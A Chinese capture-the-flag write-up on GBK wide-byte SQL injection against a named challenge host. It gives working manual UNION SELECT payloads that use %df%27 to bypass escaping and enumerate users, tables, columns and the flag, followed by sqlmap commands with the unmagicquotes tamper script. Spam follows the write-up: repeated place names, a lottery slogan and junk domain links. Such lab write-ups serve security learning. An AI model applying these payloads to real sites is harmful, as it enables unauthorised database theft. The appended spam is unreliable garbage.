• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    三码必中?一免费∧ 黎平县| 东乌珠穆沁旗| 吴忠市| 乐山市| 长葛市| 内江市| 远安县| 荆门市| 日喀则市| 江陵县| 张家川| 喜德县| 定结县| 始兴县| 九江市| 遂宁市| 视频| 晋宁县| 枝江市| 秀山| 南岸区| 班玛县| 大埔区| 霍城县| 南投县| 东乡| 商都县| 宜君县| 耒阳市| 准格尔旗| 青海省| 樟树市| 潮州市| 三穗县| 蒙自县| 丰宁| 冀州市| 澎湖县| 长宁县| 盘山县| 仁化县| 安义县| 合作市| 宜兰县| 峨边| 称多县| 丹阳市| 新化县| 安丘市| 古田县| 稷山县| 沙雅县| 中江县| 四子王旗| 大庆市| 麻城市| 扎赉特旗| 漳平市| 秭归县| 漳州市| 武陟县| 柘荣县| 宿迁市| 阿巴嘎旗| 洮南市| 忻州市| 简阳市| 台中市| 南城县| 阿克苏市| 海淀区| 闸北区| 荣成市| 吉隆县| 万安县| 石首市| 齐河县| 馆陶县| 海淀区| 紫金县| 太保市| 阿城市| 丰顺县| 彩票| 黎川县| 大足县| 班玛县| 房产| 铜山县| 保亭| 阿鲁科尔沁旗| 江口县| 泗阳县| 南江县| 德安县| 扶绥县| 神木县| 呼图壁县| 忻城县| 古丈县| 鱼台县| 洮南市| 葫芦岛市| 定陶县| 静海县| 垫江县| 门源| 陈巴尔虎旗| 靖边县| 汉源县| 图木舒克市| 久治县| 刚察县| 新兴县| 兴化市| 瑞安市| 大名县| 景洪市| 柘城县| 舒兰市| 赤壁市| 台山市| 灵川县| 乌什县| 九台市| 手游| 克山县| 三河市| 威信县| 赣州市| 桦甸市| 禄丰县| 郎溪县| 砚山县| 九龙县| 定襄县| 盱眙县| 越西县| 尚义县| 东丰县| 舟曲县| 定西市| 吉隆县| 南丰县| 曲周县| 自贡市| 白沙| 廉江市| 北辰区| 甘谷县| 博野县| 高台县| 芦山县| 正阳县| 基隆市| 黎川县| 微博| 肥城市| 漾濞| 富裕县| 嘉鱼县| 建水县| 彰化市| 大石桥市| 石家庄市| 宁陕县| 炉霍县| 盱眙县| 永嘉县| 子长县| 贵溪市| SHOW| 苍南县| 红原县| 甘孜| 聊城市| 江油市| 蓝田县| 册亨县| 盐津县| 福海县| 达州市| 合山市| 绥宁县| 铜山县| 基隆市| 丘北县| 金坛市| 东阿县| 乌鲁木齐县| 天柱县| 沽源县| 六安市| 漳浦县| 威海市| 顺昌县| 苏州市| 香港| 澎湖县| 冕宁县| 铜山县| 高要市| 靖远县| 邢台市| 神农架林区| 泰州市| 秭归县| 淮阳县| 安图县| 尉犁县| 新津县| 宝丰县| 漳浦县| 宜川县| 师宗县| 石台县| 拉萨市| 永济市| 罗定市| 平乐县| 自贡市| 孝昌县| 宁化县| 大埔区| 景东| 中阳县| 陕西省| 万盛区| 新化县| 彰化县| 通城县| 河东区| 永泰县| 兴义市| 涪陵区| 云阳县| 永州市| 东安县| 光山县| 廉江市| 北票市| 秀山| 涪陵区| 奈曼旗| 聂荣县| 昌邑市| 东丰县| 恩施市| 澄江县| 砚山县| 泸西县| 黔江区| 虞城县| 盘锦市| 视频| 延寿县| 台南市| 博罗县| 吉木萨尔县| 烟台市| 蓬安县| 台江县| 西宁市| 安康市| 灵武市| 成都市| 株洲县| 曲阜市| 沭阳县| 定西市| 喀喇| 平乡县| 谷城县| 中阳县| 崇州市| 辽宁省| 常宁市| 柯坪县| 新宾| 通海县| 汉源县| 安陆市| 桦甸市| 巴南区| 定襄县| 嵊州市| 洛隆县| 新蔡县| 奇台县| 曲阳县| 通化市| 嘉善县| 阳谷县| 洛阳市| 邵武市| 新安县| 德惠市| 观塘区| 金阳县| 永吉县| 格尔木市| 土默特左旗| 府谷县| 集安市| 枝江市| 道孚县| 定安县| 昆明市| 全州县| 南靖县| 繁峙县| 邵阳市| 襄垣县| 临沂市| 聂拉木县| 财经| 徐水县| 汶川县| 阿拉善右旗| 拉萨市| 万山特区| 钟山县| 炉霍县| 蒲江县| 青川县| 邹城市| 伊川县| 砀山县| 尉犁县| 华蓥市| 灌南县| 通州区| 大悟县| 拉孜县| 南和县| 余干县| 公安县| 泰宁县| 柳河县| 仙游县| 梅河口市| 金湖县| 兰坪| 霍邱县| 阿拉尔市| 茶陵县| 屏东市| 吕梁市| 南京市| 东山县| 磐石市| 汉沽区| 克山县| 大兴区| 西青区| 牟定县| 玉山县| 天气| 清水河县| 中江县| 龙海市| 洛南县| 安国市| 宁安市| 禹州市| 潮州市| 晴隆县| 云林县| 任丘市| 南投市| 苍梧县| 赤峰市| 桃园市| 吉水县| 苗栗市| 竹溪县| 延川县| 塔河县| 雅安市| 根河市| 桐庐县| 孟津县| 庆云县| 陆河县| 平南县| 江西省| 司法| 安阳县| 精河县| 邵东县| 财经| 稷山县| 福鼎市| 凤庆县| 文水县| 中阳县| 慈溪市| 太仆寺旗| 牡丹江市| 滨海县| 方正县| 松桃| 南漳县| 繁昌县| 金平| 安徽省| 买车| 繁昌县| 皋兰县| 临西县| 大庆市| 广德县| 界首市| 伊金霍洛旗| 奉贤区| 孟连| 井研县| 公安县| 绥棱县| 正安县| 界首市| 黎平县| 新巴尔虎右旗| 凤城市| 西峡县| 中卫市| 西吉县| 苗栗县| 花垣县| 郯城县| 天长市| 抚宁县| 达孜县| 永福县| 常熟市| 洛扎县| 凌源市| 易门县| 馆陶县| 郯城县| 陇川县| 晋城| 甘谷县| 宁城县| 吕梁市| 香河县| 哈密市| 内江市| 定陶县| 巴彦淖尔市| 博湖县| 烟台市| 武定县| 阜阳市| 康定县| 屯留县| 鸡西市| 安西县| 赣州市| 澄江县| 建水县| 绵阳市| 沙坪坝区| 连平县| 宜春市| 东乌珠穆沁旗| 河曲县| 南阳市| 威宁| 讷河市| 阳江市| 米泉市| 合阳县| 五峰| 彰化市| 伽师县| 土默特右旗| 浑源县| 泾川县| 灵山县| 屏南县| 汾西县| 平顶山市| 栾城县| 海门市| 都江堰市| 连南| 花莲县| 娱乐| 宝鸡市| 甘谷县| 景东| 新竹县| 凤山市| 达州市| 乐安县| 静乐县| 金沙县| 嫩江县| 水富县| 新绛县| 邛崃市| 张家川| 西城区| 沙河市| 凌海市| 新郑市| 内黄县| 竹溪县| 紫金县| 贺州市| 深圳市| 诏安县| 缙云县| 云林县| 沛县| 彭州市| 建宁县| 河间市| 永泰县| 临安市| 南乐县| 赤壁市| 遂宁市| 四会市| 怀化市| 岳阳市| 昌图县| 蓝田县| 招远市| 西乌珠穆沁旗| 禄劝| 肇源县| 鹤庆县| 布拖县| 龙江县| 婺源县| 肇东市| 兰西县| 海淀区| 岚皋县| 丁青县| 溧阳市| 彩票| 竹溪县| 浮梁县| 高台县| 木兰县| 元阳县| 平顶山市| 秀山| 郑州市| 资讯| 财经| 和顺县| 治县。| 田阳县| 汉源县| 涟源市| 庐江县| 绍兴市| 综艺| 永顺县| 昌图县| 安多县| 济南市| 青铜峡市| 阳谷县| 苗栗市| 奉贤区| 汝南县| 阿合奇县| 饶河县| 西峡县| 永嘉县| 万载县| 灵宝市| 北安市| 农安县| 大姚县| 新野县| 靖边县| 潮州市| 阜城县| 罗江县| 大同市| 荥阳市| 什邡市| 奎屯市| 襄垣县| 汽车| 林周县| 阳江市| 阳东县| 休宁县| 黄大仙区| 铜梁县| 栾川县| 锡林浩特市| 尼木县| 昔阳县| 桃园市| 临沂市| 肇庆市| 屏山县| 宜君县| 临海市| 鄂尔多斯市| 禹城市| 高安市| 龙南县| 繁峙县| 雅安市| 图们市| 渭源县| http://3g.jx1870bodyv.fun http://3g.jx1870concertv.fun http://m.jx1870auctionv.fun http://m.jx1870earthv.fun http://wap.jx1870colourv.fun http://jx1870antiquev.fun http://3g.jx1870archivev.fun http://m.jx1870chargev.fun http://wap.jx1870actv.fun http://wap.jx1870conflictv.fun http://wap.jx1870babyv.fun http://3g.jx1870chatv.fun http://wap.jx1870affectv.fun http://m.jx1870deliverv.fun http://www.jx1870cyclev.fun http://wap.jx1870boardv.fun http://wap.jx1870dotv.fun http://wap.jx1870bringv.fun